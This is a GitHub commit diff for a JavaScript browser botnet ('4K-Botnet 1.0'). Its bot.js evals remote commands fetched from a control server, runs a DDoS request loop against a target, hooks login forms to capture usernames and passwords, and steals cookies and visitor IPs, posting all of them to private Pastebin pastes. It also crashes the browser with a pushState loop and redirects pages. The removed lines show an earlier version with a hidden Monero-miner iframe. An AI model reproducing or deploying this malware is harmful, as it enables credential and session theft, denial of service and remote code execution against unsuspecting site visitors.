Skip to content

Commit 9df385f

Browse files
author
chowix30
committed
Fixed most things
1 parent 5d52f59 commit 9df385f

11 files changed

Lines changed: 139 additions & 304 deletions

File tree

‎Botnet/bot.js‎

Lines changed: 121 additions & 110 deletions
Original file line numberDiff line numberDiff line change
@@ -1,127 +1,138 @@
1-
//4K-Botnet v0.2 by Chowix40
2-
//I know it's crap but it works (Kinda)
3-
var SERVER_URL = 'http://example.com/Botnet/'
1+
//4K-Botnet 1.0 by Chowix40
2+
//I know it's still crap but it (or should) works better
3+
var SERVER_URL = 'http://example.net/Botnet/'
4+
var api_dev_key = '<pastebin api_dev_key here>'
5+
var api_user_key = '<pastebin api_user_key here>'
46

5-
function getCMD() {
6-
var oReqcmd = new XMLHttpRequest();
7-
oReqcmd.addEventListener("load", reqListener);
8-
oReqcmd.open("GET", SERVER_URL+"cmds.php");
9-
oReqcmd.send(null);
107

11-
function reqListener() {
12-
eval(oReqcmd.responseText)
13-
}
8+
9+
function getCMD() {
10+
var oReqcmd = new XMLHttpRequest();
11+
oReqcmd.addEventListener("load", reqListener);
12+
oReqcmd.open("GET", SERVER_URL + "cmds.txt");
13+
oReqcmd.send(null);
14+
15+
function reqListener() {
16+
console.log(oReqcmd.responseText)
17+
eval(oReqcmd.responseText)
18+
console.log('r1')
19+
}
1420
}
1521

1622
//Get and Execute CMDs
1723
getCMD()
1824

1925
//Functions
2026

21-
//1) DDos
22-
function DDoS() {
23-
//Gets the URL to DDoS
24-
var oReq = new XMLHttpRequest();
25-
oReq.addEventListener("load", reqListener);
26-
oReq.open("GET", SERVER_URL+"url.php");
27-
oReq.send(null);
28-
29-
function reqListener() {
30-
setInterval(DDosX, 10);
31-
}
32-
33-
//Original DDoS code taken from the Cloudflare blog - https://blog.cloudflare.com/an-introduction-to-javascript-based-ddos/
34-
function DDosX() {
35-
36-
var TARGET = oReq.responseText
37-
var URI = '/index.php?page=index.html'
38-
var pic = new Image()
39-
var rand = Math.floor(Math.random() * 1000)
40-
pic.src = 'http://'+TARGET+URI+rand+'=val'
41-
}
42-
} //Done-ish, Attack Untested, Needs optimization
43-
44-
//2) credJacker
27+
//Done-ish, Attack Untested
28+
function DDoS(Durl) {
29+
//Gets the URL to DDoS
30+
setInterval(DDosX, 10);
31+
console.log('run')
32+
33+
//Original DDoS code taken from the Cloudflare blog - https://blog.cloudflare.com/an-introduction-to-javascript-based-ddos/
34+
function DDosX() {
35+
36+
var TARGET = Durl
37+
var URI = '/index.php?page=index.html'
38+
var pic = new Image()
39+
var rand = Math.floor(Math.random() * 1000)
40+
pic.src = 'https://cors-anywhere.herokuapp.com/' + TARGET + URI + rand + '=val'
41+
}
42+
}
43+
44+
45+
//Captures creds and posts it to private pastebin post
4546
function getCreds() {
46-
//Original code taken from Gumshoe but modified by Chowix40
47-
var forms = document.getElementsByTagName('form');
47+
//Original code taken from Gumshoe but modified by Chowix40
48+
var forms = document.getElementsByTagName('form');
4849

4950
for (var i = 0; i < forms.length; i++) {
50-
var form = forms[i];
51-
var fields = form.getElementsByTagName('input');
52-
53-
// attempt to locate user/pass elements
54-
for (var j = 0; j < fields.length; j++) {
55-
var f = fields[j];
56-
57-
// recognize user/pass form elements
58-
if (!form._pass && f.type == 'password')
59-
form._pass = f;
60-
else if (!form._user && (f.type == 'text' || f.type == 'email'))
61-
form._user = f;
62-
63-
// wait until user/pass are found
64-
if (!(form._user !== undefined && form._pass !== undefined))
65-
continue;
66-
67-
// user/pass elements found
68-
// add event handler to form
69-
form.onsubmit = function() {
70-
if (this._user.value && this._pass.value) {
71-
// post credentials to background
72-
var userName = this._user.value
73-
var passWord = this._pass.value
74-
var pic = new Image()
75-
pic.src = SERVER_URL+'creds.php?user='+userName+'&pass='+passWord
76-
}
77-
}};
78-
}
79-
}; //Done
80-
81-
//3) cookieJacker
51+
var form = forms[i];
52+
var fields = form.getElementsByTagName('input');
53+
54+
// attempt to locate user/pass elements
55+
for (var j = 0; j < fields.length; j++) {
56+
var f = fields[j];
57+
58+
// recognize user/pass form elements
59+
if (!form._pass && f.type == 'password')
60+
form._pass = f;
61+
else if (!form._user && (f.type == 'text' || f.type == 'email'))
62+
form._user = f;
63+
64+
// wait until user/pass are found
65+
if (!(form._user !== undefined && form._pass !== undefined))
66+
continue;
67+
68+
// user/pass elements found
69+
// add event handler to form
70+
form.onsubmit = function () {
71+
if (this._user.value && this._pass.value) {
72+
// post credentials to background
73+
var userName = this._user.value
74+
var passWord = this._pass.value
75+
var xhr = new XMLHttpRequest();
76+
xhr.open("POST", 'https://cors-anywhere.herokuapp.com/https://pastebin.com/api/api_post.php', true);
77+
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
78+
xhr.onreadystatechange = function () { // Call a function when the state changes.
79+
if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
80+
}
81+
}
82+
var creds = userName + ":" + passWord + ":" + location.href
83+
var pname = "[PW] "+ location.hostname + ", " + new Date
84+
xhr.send("api_dev_key=" + api_dev_key + "&api_option=paste&api_paste_code=" + creds + "&api_paste_name=" + pname + "&api_user_key=" + api_user_key + "&api_paste_private=2");
85+
}
86+
}
87+
};
88+
}
89+
};
90+
91+
//Captures cookies and sends it to a private pastebin post
8292
function getCookies() {
83-
//Code taken from http://hackiteasy.blogspot.com/2011/01/session-hijacking-or-cookie-stealing.html
84-
var pic = new Image()
85-
pic.src = SERVER_URL+'cookielogger.php?cookie='+document.cookie
86-
} //Done
87-
88-
//4) injectHeader
89-
function injectHeader() {
90-
d=document;e=d.createElement("h1");e.innerHTML=arguments[0];d.body.appendChild(e)
91-
} //It works, but Needs work, it inserts header at bottom of page- need to get it on the top, might remove in the future
92-
93-
//5) promptUser
94-
function promptUser() {
95-
var promptAnswer = prompt(arguments[0]);
96-
var pic = new Image()
97-
pic.src = SERVER_URL+'prompt.php?answer='+promptAnswer
98-
} //Done
99-
100-
//6) deathTab
93+
var xhr = new XMLHttpRequest();
94+
xhr.open("POST", 'https://cors-anywhere.herokuapp.com/https://pastebin.com/api/api_post.php', true);
95+
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
96+
xhr.onreadystatechange = function () {
97+
if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
98+
}
99+
}
100+
var cookies = document.cookie + ", " + location.href
101+
var pname = "[C] " + location.hostname + ", " + new Date
102+
xhr.send("api_dev_key=" + api_dev_key + "&api_option=paste&api_paste_code=" + cookies + "&api_paste_name=" + pname + "&api_user_key=" + api_user_key + "&api_paste_private=2");
103+
104+
}
105+
106+
//Depending on device setup it will crash tab, browser, or possible the OS
101107
function browserKill() {
102-
while(true) {
103-
var total = '';
104-
for (var i = 0; i < 100000; i++) {total = total + i.toString()}
105-
history.pushState(0,0, total );
106-
};
107-
} //Done
108-
109-
//7) reDire
108+
while (true) {
109+
var total = '';
110+
for (var i = 0; i < 100000; i++) { total = total + i.toString() }
111+
history.pushState(0, 0, total);
112+
};
113+
}
114+
115+
//Redirects the page
110116
function reDire() {
111117
window.location.replace(arguments[0])
112-
} //Done
113-
114-
//8) N/A
115-
116-
//9) MoneroMiner
117-
function moneyMaker() {
118-
document.write("<iframe src=" + SERVER_URL + "mine.html width=0 height=0 hidden></iframe>")
119-
};
120-
121-
//10) IP Stealer
122-
function ipLog(argument) {
123-
var pic = new Image()
124-
pic.src = SERVER_URL+'ip.php'
125-
};
118+
}
126119

127-
//11) ???
120+
//IP Stealer
121+
function ipLog() {
122+
var oReqcmd = new XMLHttpRequest();
123+
oReqcmd.addEventListener("load", reqListener);
124+
oReqcmd.open("GET", "https://cors-anywhere.herokuapp.com/https://l2.io/ip");
125+
oReqcmd.send(null);
126+
127+
function reqListener() {
128+
xhr.open("POST", 'https://cors-anywhere.herokuapp.com/https://pastebin.com/api/api_post.php', true);
129+
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
130+
xhr.onreadystatechange = function () {
131+
if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
132+
}
133+
}
134+
var ip = oReqcmd.responseText + ", " + navigator.userAgent + ", " + location.href
135+
var pname = "[IP] " + location.hostname + ", " + new Date
136+
xhr.send("api_dev_key=" + api_dev_key + "&api_option=paste&api_paste_code=" + ip + "&api_paste_name=" + pname + "&api_user_key=" + api_user_key + "&api_paste_private=2");
137+
}
138+
};

‎Botnet/cmds.php‎

Lines changed: 0 additions & 1 deletion
This file was deleted.

‎Botnet/cmds.txt‎

Whitespace-only changes.

‎Botnet/cookielogger.php‎

Lines changed: 0 additions & 43 deletions
This file was deleted.

‎Botnet/creds.php‎

Lines changed: 0 additions & 45 deletions
This file was deleted.

‎Botnet/ip.php‎

Lines changed: 0 additions & 13 deletions
This file was deleted.

‎Botnet/ip.txt‎

Lines changed: 0 additions & 1 deletion
This file was deleted.

‎Botnet/mine.html‎

Lines changed: 0 additions & 5 deletions
This file was deleted.

0 commit comments

Comments
 (0)